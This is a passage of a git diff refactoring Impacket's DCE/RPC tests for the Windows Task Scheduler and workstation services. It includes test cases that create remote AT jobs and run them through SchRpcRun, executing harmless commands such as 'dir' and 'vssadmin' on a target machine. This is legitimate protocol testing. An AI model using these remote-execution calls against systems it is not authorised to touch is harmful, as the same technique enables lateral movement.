test_SchRpcCreateFolder_SchRpcEnumFolders_SchRpcDelete(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass @@ -446,7 +406,7 @@ def test_SchRpcCreateFolder_SchRpcEnumFolders_SchRpcDelete(self): resp.dump() def test_hSchRpcCreateFolder_hSchRpcEnumFolders_hSchRpcDelete(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) + dce, rpc_transport = self.connect() resp = tsch.hSchRpcCreateFolder(dce, '\\Beto') resp.dump() @@ -458,9 +418,8 @@ def test_hSchRpcCreateFolder_hSchRpcEnumFolders_hSchRpcDelete(self): resp.dump() def test_SchRpcEnumTasks(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - - dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) + dce, rpc_transport = self.connect() + dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC) atInfo = AT_INFO() atInfo['JobTime'] = NULL @@ -470,9 +429,9 @@ def test_SchRpcEnumTasks(self): atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00' try: - resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo) + resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -488,13 +447,12 @@ def test_SchRpcEnumTasks(self): resp = dce.request(request) resp.dump() - resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId) + resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId) resp.dump() def test_hSchRpcEnumTasks(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - - dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) + dce, rpc_transport = self.connect() + dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC) atInfo = AT_INFO() atInfo['JobTime'] = NULL @@ -504,9 +462,9 @@ def test_hSchRpcEnumTasks(self): atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00' try: - resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo) + resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -517,11 +475,11 @@ def test_hSchRpcEnumTasks(self): resp = tsch.hSchRpcEnumTasks(dce, '\\') resp.dump() - resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId) + resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId) resp.dump() def test_SchRpcEnumInstances(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) + dce, rpc_transport = self.connect() request = tsch.SchRpcEnumInstances() request['path'] = '\\\x00' @@ -529,24 +487,22 @@ def test_SchRpcEnumInstances(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: if e.get_error_code() != 0x80070002: raise def test_hSchRpcEnumInstances(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - + dce, rpc_transport = self.connect() try: resp = tsch.hSchRpcEnumInstances(dce, '\\') resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: if e.get_error_code() != 0x80070002: raise def test_SchRpcRun(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - - dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) + dce, rpc_transport = self.connect() + dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC) atInfo = AT_INFO() atInfo['JobTime'] = NULL @@ -556,9 +512,9 @@ def test_SchRpcRun(self): atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00' try: - resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo) + resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -568,13 +524,6 @@ def test_SchRpcRun(self): request = tsch.SchRpcRun() request['path'] = '\\At%d\x00' % jobId - #request['cArgs'] = 2 - #arg0 = LPWSTR() - #arg0['Data'] = 'arg0\x00' - #arg1 = LPWSTR() - #arg1['Data'] = 'arg1\x00' - #request['pArgs'].append(arg0) - #request['pArgs'].append(arg1) request['cArgs'] = 0 request['pArgs'] = NULL request['flags'] = tsch.TASK_RUN_AS_SELF @@ -583,17 +532,16 @@ def test_SchRpcRun(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass - resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId) + resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId) resp.dump() def test_hSchRpcRun(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - - dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) + dce, rpc_transport = self.connect() + dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC) atInfo = AT_INFO() atInfo['JobTime'] = NULL @@ -603,9 +551,9 @@ def test_hSchRpcRun(self): atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00' try: - resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo) + resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -616,17 +564,16 @@ def test_hSchRpcRun(self): try: resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1')) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass - resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId) + resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId) resp.dump() def test_SchRpcGetInstanceInfo(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - - dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) + dce, rpc_transport = self.connect() + dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC) atInfo = AT_INFO() atInfo['JobTime'] = NULL @@ -636,9 +583,9 @@ def test_SchRpcGetInstanceInfo(self): atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00' try: - resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo) + resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -649,7 +596,7 @@ def test_SchRpcGetInstanceInfo(self): try: resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1')) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass @@ -658,18 +605,17 @@ def test_SchRpcGetInstanceInfo(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0: raise pass - resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId) + resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId) resp.dump() def test_hSchRpcGetInstanceInfo(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - - dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) + dce, rpc_transport = self.connect() + dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC) atInfo = AT_INFO() atInfo['JobTime'] = NULL @@ -679,9 +625,9 @@ def test_hSchRpcGetInstanceInfo(self): atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00' try: - resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo) + resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -692,25 +638,24 @@ def test_hSchRpcGetInstanceInfo(self): try: resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1')) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass try: resp = tsch.hSchRpcGetInstanceInfo(dce, resp['pGuid']) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0: raise pass - resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId) + resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId) resp.dump() def test_SchRpcStopInstance(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - - dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) + dce, rpc_transport = self.connect() + dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC) atInfo = AT_INFO() atInfo['JobTime'] = NULL @@ -720,9 +665,9 @@ def test_SchRpcStopInstance(self): atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00' try: - resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo) + resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -733,7 +678,7 @@ def test_SchRpcStopInstance(self): try: resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1')) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass @@ -743,18 +688,17 @@ def test_SchRpcStopInstance(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0: raise pass - resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId) + resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId) resp.dump() def test_hSchRpcStopInstance(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - - dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) + dce, rpc_transport = self.connect() + dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC) atInfo = AT_INFO() atInfo['JobTime'] = NULL @@ -764,9 +708,9 @@ def test_hSchRpcStopInstance(self): atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00' try: - resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo) + resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -777,22 +721,22 @@ def test_hSchRpcStopInstance(self): try: resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1')) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass try: resp = tsch.hSchRpcStopInstance(dce, resp['pGuid']) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0: raise pass try: - resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId) + resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -800,8 +744,8 @@ def test_hSchRpcStopInstance(self): return def test_SchRpcStop(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) + dce, rpc_transport = self.connect() + dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC) atInfo = AT_INFO() atInfo['JobTime'] = NULL @@ -811,9 +755,9 @@ def test_SchRpcStop(self): atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00' try: - resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo) + resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -827,18 +771,18 @@ def test_SchRpcStop(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: # It is actually S_FALSE if str(e).find('ERROR_INVALID_FUNCTION') <= 0: raise pass - resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId) + resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId) resp.dump() def test_hSchRpcStop(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - dce2, rpctransport = self.connect(self.stringBindingAtSvc, atsvc.MSRPC_UUID_ATSVC) + dce, rpc_transport = self.connect() + dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC) atInfo = AT_INFO() atInfo['JobTime'] = NULL @@ -848,9 +792,9 @@ def test_hSchRpcStop(self): atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00' try: - resp = atsvc.hNetrJobAdd(dce2, NULL, atInfo) + resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo) resp.dump() - except Exception as e: + except atsvc.DCERPCSessionError as e: if e.get_error_code() != ERROR_NOT_SUPPORTED: raise else: @@ -861,18 +805,17 @@ def test_hSchRpcStop(self): try: resp = tsch.hSchRpcStop(dce, '\\At%d\x00' % jobId) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: # It is actually S_FALSE if str(e).find('ERROR_INVALID_FUNCTION') <= 0: raise pass - resp = atsvc.hNetrJobDel(dce2, NULL, jobId, jobId) + resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId) resp.dump() def test_SchRpcRename(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - + dce, rpc_transport = self.connect() resp = tsch.hSchRpcCreateFolder(dce, '\\Beto') resp.dump() @@ -883,7 +826,7 @@ def test_SchRpcRename(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: if str(e).find('E_NOTIMPL') <= 0: raise pass @@ -892,15 +835,14 @@ def test_SchRpcRename(self): resp.dump() def test_hSchRpcRename(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - + dce, rpc_transport = self.connect() resp = tsch.hSchRpcCreateFolder(dce, '\\Beto') resp.dump() try: resp = tsch.hSchRpcRename(dce, '\\Beto', '\\Anita') resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: if str(e).find('E_NOTIMPL') <= 0: raise pass @@ -909,9 +851,8 @@ def test_hSchRpcRename(self): resp.dump() def test_SchRpcScheduledRuntimes(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) + dce, rpc_transport = self.connect() request = tsch.SchRpcScheduledRuntimes() - #request['path'] = '\\BBB\\Beto Task\x00' request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00' request['start'] = NULL request['end'] = NULL @@ -920,7 +861,7 @@ def test_SchRpcScheduledRuntimes(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: # It is actually S_FALSE if str(e).find('ERROR_INVALID_FUNCTIO') <= 0 and str(e).find('SCHED_S_TASK_NOT_SCHEDULED') < 0: raise @@ -928,10 +869,8 @@ def test_SchRpcScheduledRuntimes(self): pass def test_hSchRpcScheduledRuntimes(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) - + dce, rpc_transport = self.connect() request = tsch.SchRpcScheduledRuntimes() - #request['path'] = '\\BBB\\Beto Task\x00' request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00' request['start'] = NULL request['end'] = NULL @@ -940,7 +879,7 @@ def test_hSchRpcScheduledRuntimes(self): try: resp = tsch.hSchRpcScheduledRuntimes(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag', NULL, NULL, 0, 10) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: # It is actually S_FALSE if str(e).find('ERROR_INVALID_FUNCTIO') <= 0 and str(e).find('SCHED_S_TASK_NOT_SCHEDULED') < 0: raise @@ -948,129 +887,120 @@ def test_hSchRpcScheduledRuntimes(self): pass def test_SchRpcGetLastRunInfo(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) + dce, rpc_transport = self.connect() request = tsch.SchRpcGetLastRunInfo() - #request['path'] = '\\BBB\\Beto Task\x00' request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00' try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: if str(e).find('SCHED_S_TASK_HAS_NOT_RUN') <= 0: raise pass def test_hSchRpcGetLastRunInfo(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) + dce, rpc_transport = self.connect() try: resp = tsch.hSchRpcGetLastRunInfo(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag') resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: if str(e).find('SCHED_S_TASK_HAS_NOT_RUN') <= 0: raise pass def test_SchRpcGetTaskInfo(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) + dce, rpc_transport = self.connect() request = tsch.SchRpcGetTaskInfo() request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00' request['flags'] = tsch.SCH_FLAG_STATE try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass def test_hSchRpcGetTaskInfo(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) + dce, rpc_transport = self.connect() try: resp = tsch.hSchRpcGetTaskInfo(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag', tsch.SCH_FLAG_STATE) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass def test_SchRpcGetNumberOfMissedRuns(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) + dce, rpc_transport = self.connect() request = tsch.SchRpcGetNumberOfMissedRuns() request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00' try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass def test_hSchRpcGetNumberOfMissedRuns(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) + dce, rpc_transport = self.connect() try: resp = tsch.hSchRpcGetNumberOfMissedRuns(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag') resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass def test_SchRpcEnableTask(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) + dce, rpc_transport = self.connect() request = tsch.SchRpcEnableTask() request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00' request['enabled'] = 1 try: resp = dce.request(request) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass def test_hSchRpcEnableTask(self): - dce, rpctransport = self.connect(self.stringBindingAtSvc, tsch.MSRPC_UUID_TSCHS) + dce, rpc_transport = self.connect() try: resp = tsch.hSchRpcEnableTask(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag', True) resp.dump() - except Exception as e: + except tsch.DCERPCSessionError as e: print(e) pass -class SMBTransport(TSCHTests): - def setUp(self): - TSCHTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBindingAtSvc = r'ncacn_np:%s[\PIPE\atsvc]' % self.machine - self.stringBindingAtSvc = r'ncacn_np:%s[\PIPE\atsvc]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(TSCHTests): - def setUp(self): - TSCHTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - - self.stringBindingAtSvc = r'ncacn_np:%s[\PIPE\atsvc]' % self.machine - self.stringBindingAtSvc = r'ncacn_np:%s[\PIPE\atsvc]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') + +@pytest.mark.remote +class ATSVCTestsSMBTransport(ATSVCTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class ATSVCTestsSMBTransport64(ATSVCTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + +@pytest.mark.remote +class SASECTestsSMBTransport(SASECTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class SASECTestsSMBTransport64(SASECTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + +@pytest.mark.remote +class TSCHTestsSMBTransport(TSCHTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class TSCHTestsSMBTransport64(TSCHTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - #suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_wkst.py b/tests/dcerpc/test_wkst.py similarity index 71% rename from tests/SMB_RPC/test_wkst.py rename to tests/dcerpc/test_wkst.py index 0b646cfcb1..4d863b5967 100644 --- a/tests/SMB_RPC/test_wkst.py +++ b/tests/dcerpc/test_wkst.py @@ -1,64 +1,54 @@ -############################################################################### -# Tested so far: +# Impacket - Collection of Python classes for working with network protocols. # -# NetrWkstaGetInfo -# NetrWkstaUserEnum -# NetrWkstaTransportEnum -# NetrWkstaTransportAdd -# NetrUseAdd -# NetrUseGetInfo -# NetrUseDel -# NetrUseEnum -# NetrWorkstationStatisticsGet -# NetrGetJoinInformation -# NetrJoinDomain2 -# NetrUnjoinDomain2 -# NetrRenameMachineInDomain2 -# NetrValidateName2 -# NetrGetJoinableOUs2 -# NetrAddAlternateComputerName -# NetrRemoveAlternateComputerName -# NetrSetPrimaryComputerName -# NetrEnumerateComputerNames +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# Not yet: +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Tested so far: +# (h)NetrWkstaGetInfo +# (h)NetrWkstaUserEnum +# (h)NetrWkstaTransportEnum +# (h)NetrWkstaSetInfo +# NetrWkstaTransportAdd +# (h)NetrUseAdd +# (h)NetrUseGetInfo +# (h)NetrUseDel +# (h)NetrUseEnum +# (h)NetrWorkstationStatisticsGet +# (h)NetrGetJoinInformation +# (h)NetrJoinDomain2 +# (h)NetrUnjoinDomain2 +# (h)NetrRenameMachineInDomain2 +# (h)NetrValidateName2 +# (h)NetrGetJoinableOUs2 +# (h)NetrAddAlternateComputerName +# (h)NetrRemoveAlternateComputerName +# (h)NetrSetPrimaryComputerName +# (h)NetrEnumerateComputerNames +# +# Not yet: +# NetrWkstaTransportDel # -# Shouldn't dump errors against a win7 -# -################################################################################ - from __future__ import division from __future__ import print_function + +import pytest import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser +from tests.dcerpc import DCERPCTests -from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import wkst from impacket.dcerpc.v5.ndr import NULL -class WKSTTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.ts) - - return dce, rpctransport +class WKSTTests(DCERPCTests): + iface_uuid = wkst.MSRPC_UUID_WKST + string_binding = r"ncacn_np:{0.machine}[\PIPE\wkssvc]" + authn = True def test_NetrWkstaGetInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = wkst.NetrWkstaGetInfo() request['ServerName'] = '\x00'*10 request['Level'] = 100 @@ -78,7 +68,7 @@ def test_NetrWkstaGetInfo(self): resp.dump() def test_hNetrWkstaGetInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = wkst.hNetrWkstaGetInfo(dce, 100) resp.dump() @@ -92,7 +82,7 @@ def test_hNetrWkstaGetInfo(self): resp.dump() def test_NetrWkstaUserEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = wkst.NetrWkstaUserEnum() request['ServerName'] = '\x00'*10 request['UserInfo']['Level'] = 0 @@ -107,7 +97,7 @@ def test_NetrWkstaUserEnum(self): resp.dump() def test_hNetrWkstaUserEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = wkst.hNetrWkstaUserEnum(dce, 0) resp.dump() @@ -115,7 +105,7 @@ def test_hNetrWkstaUserEnum(self): resp.dump() def test_NetrWkstaTransportEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = wkst.NetrWkstaTransportEnum() request['ServerName'] = '\x00'*10 request['TransportInfo']['Level'] = 0 @@ -126,12 +116,12 @@ def test_NetrWkstaTransportEnum(self): resp.dump() def test_hNetrWkstaTransportEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = wkst.hNetrWkstaTransportEnum(dce, 0) resp.dump() def test_NetrWkstaSetInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = wkst.NetrWkstaGetInfo() request['ServerName'] = '\x00'*10 request['Level'] = 502 @@ -148,34 +138,32 @@ def test_NetrWkstaSetInfo(self): resp2.dump() resp = dce.request(request) - self.assertTrue(500 == resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] ) + self.assertEqual(500, resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit']) req['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = oldVal resp2 = dce.request(req) resp2.dump() def test_hNetrWkstaSetInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = wkst.hNetrWkstaGetInfo(dce, 502) resp.dump() oldVal = resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] - resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = 500 - resp2 = wkst.hNetrWkstaSetInfo(dce, 502,resp['WkstaInfo']['WkstaInfo502']) + resp2 = wkst.hNetrWkstaSetInfo(dce, 502, resp['WkstaInfo']['WkstaInfo502']) resp2.dump() resp = wkst.hNetrWkstaGetInfo(dce, 502) resp.dump() - self.assertTrue(500 == resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] ) + self.assertEqual(500, resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit']) resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = oldVal - resp2 = wkst.hNetrWkstaSetInfo(dce, 502,resp['WkstaInfo']['WkstaInfo502']) + resp2 = wkst.hNetrWkstaSetInfo(dce, 502, resp['WkstaInfo']['WkstaInfo502']) resp2.dump() def test_NetrWkstaTransportAdd(self): - dce, 